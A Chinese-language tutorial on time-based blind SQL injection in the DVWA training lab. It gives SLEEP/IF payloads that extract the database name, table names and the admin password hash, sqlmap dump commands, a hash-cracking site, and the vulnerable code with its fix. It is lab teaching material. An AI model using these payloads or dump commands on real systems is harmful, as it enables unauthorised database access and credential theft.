【DVWA系列】——SQL注入(时间盲注)详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

  • 一、时间盲注核心原理
  • 二、手工注入步骤(附Payload)
    • 1. 判断注入类型(字符型/数字型)
    • 2. 猜解数据库名长度
    • 3. 逐字符猜解数据库名
    • 4. 猜解表名
    • 5. 提取关键数据(以admin密码为例)
  • 三、自动化工具(sqlmap)
    • 1. 基础命令
    • 2. 常用操作
  • 四、防御措施分析(Low级别漏洞根源)
  • 总结:攻击链与技巧

本文环境Security Level:low

以下为DVWA中**时间盲注(Time-Based Blind SQL Injection)**在Low安全级别的详细教程,结合手工注入步骤、自动化工具(sqlmap)及防御原理,帮你快速掌握攻击链:


一、时间盲注核心原理

  1. 适用场景

    • 页面无数据回显(不显示查询结果)。
    • 无布尔状态差异(无论输入真假都返回相同页面)。
    • 仅通过响应时间长短判断注入是否成功。
  2. 核心函数

    • SLEEP(N):强制数据库等待N秒(如SLEEP(5))。
    • IF(条件, 真值, 假值):条件成立时触发延时(如IF(1=1, SLEEP(5), 0))。

二、手工注入步骤(附Payload)

1. 判断注入类型(字符型/数字型)

  • Payload:
    1' AND SLEEP(5)#    → 响应延迟5秒 → **字符型注入**(需单引号闭合)
    1 AND SLEEP(5)#     → 无延迟 → 非数字型
    

【DVWA系列】——SQL注入(时间盲注)详细教程_第1张图片

2. 猜解数据库名长度

  • Payload:
    1' AND IF(LENGTH(DATABASE())=1, SLEEP(5), 1)#  → 无延迟(长度≠1)
    1' AND IF(LENGTH(DATABASE())=4, SLEEP(5), 1)#  → 延迟5秒 → 库名长度=4
    

【DVWA系列】——SQL注入(时间盲注)详细教程_第2张图片

3. 逐字符猜解数据库名

  • Payload:
    -- 猜第一个字符(ASCII码法)
    1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=100, SLEEP(5), 1)# → 延迟 → 首字符ASCII=100(字母'd')
    
    -- 猜第二个字符:
    1' AND IF(ASCII(SUBSTR(DATABASE(),2,1))>118, SLEEP(5), 1)# → 无延迟 → ASCII≤118
    1' AND IF(ASCII(SUBSTR(DATABASE(),2,1))=118, SLEEP(5), 1)# → 延迟 → 第二字符='v'
    
    重复步骤:最终拼出库名 dvwa

4. 猜解表名

  • Step 1:猜表数量
    1' AND IF((SELECT COUNT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE())=2, SLEEP(5), 1)# → 延迟 → 共2张表
    
  • Step 2:猜第一张表名长度
    1' AND IF(LENGTH((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1))=9, SLEEP(5), 1)# → 延迟 → 表名长度=9
    
  • Step 3:逐字符猜表名
    1' AND IF(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1))=103, SLEEP(5), 1)# → 延迟 → 首字符='g'(guestbook)
    

5. 提取关键数据(以admin密码为例)

  • 猜密码长度(MD5格式固定32位)
    1' AND IF(LENGTH((SELECT password FROM users WHERE user='admin' LIMIT 0,1))=32, SLEEP(5), 1)# → 延迟
    
  • 猜密码首字符
    1' AND IF(ASCII(SUBSTR((SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1))=53, SLEEP(5), 1)# → 延迟 → 首字符='5'(MD5值开头)
    
    最终:拼接出完整MD5密码(如5f4dcc3b5aa765d61d8327deb882cf99 → 解密为password)。

三、自动化工具(sqlmap)

1. 基础命令

sqlmap -u "http://靶机IP/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=你的session; security=low" \
  --technique=T  # 指定时间盲注模式

2. 常用操作

目标 命令参数 示例结果
爆所有数据库 --dbs dvwa, information_schema
爆dvwa的表名 -D dvwa --tables guestbook, users
爆users表字段 -D dvwa -T users --columns user, password
导出数据 -D dvwa -T users -C user,password --dump 显示账号密码密文

四、防御措施分析(Low级别漏洞根源)

  1. 漏洞代码
    $id = $_GET['id'];  // 直接获取用户输入,无过滤
    $query = "SELECT ... WHERE user_id = '$id';"; // 拼接SQL语句
    
  2. 修复方案
    • 参数化查询(Prepared Statements):分离SQL逻辑与数据。
    • 统一错误页面:消除时间差异(如所有请求固定延时返回)。

总结:攻击链与技巧

阶段 关键操作 技巧
判断注入类型 1' AND SLEEP(5)# 观察延时 延时≥5秒 → 字符型注入
猜库名/表名 IF(LENGTH(...)=N, SLEEP(5),1) 二分法加速猜解(ASCII码范围:字母97-122,数字48~57)
提数据 子查询+SUBSTR()逐字符爆破 优先猜解user/password等关键字段,节省时间
自动化 sqlmap + --technique=T BurpSuite抓包后交给sqlmap,避免手动构造Payload

⚠️ 注意:实战中优先使用sqlmap(效率提升10倍+),手工注入仅用于理解原理。解密MD5推荐https://www.cmd5.com/。

宇宙级免责声明​​
重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

你可能感兴趣的:(网络安全,靶场练习,sql,数据库,oracle,web安全,网络安全)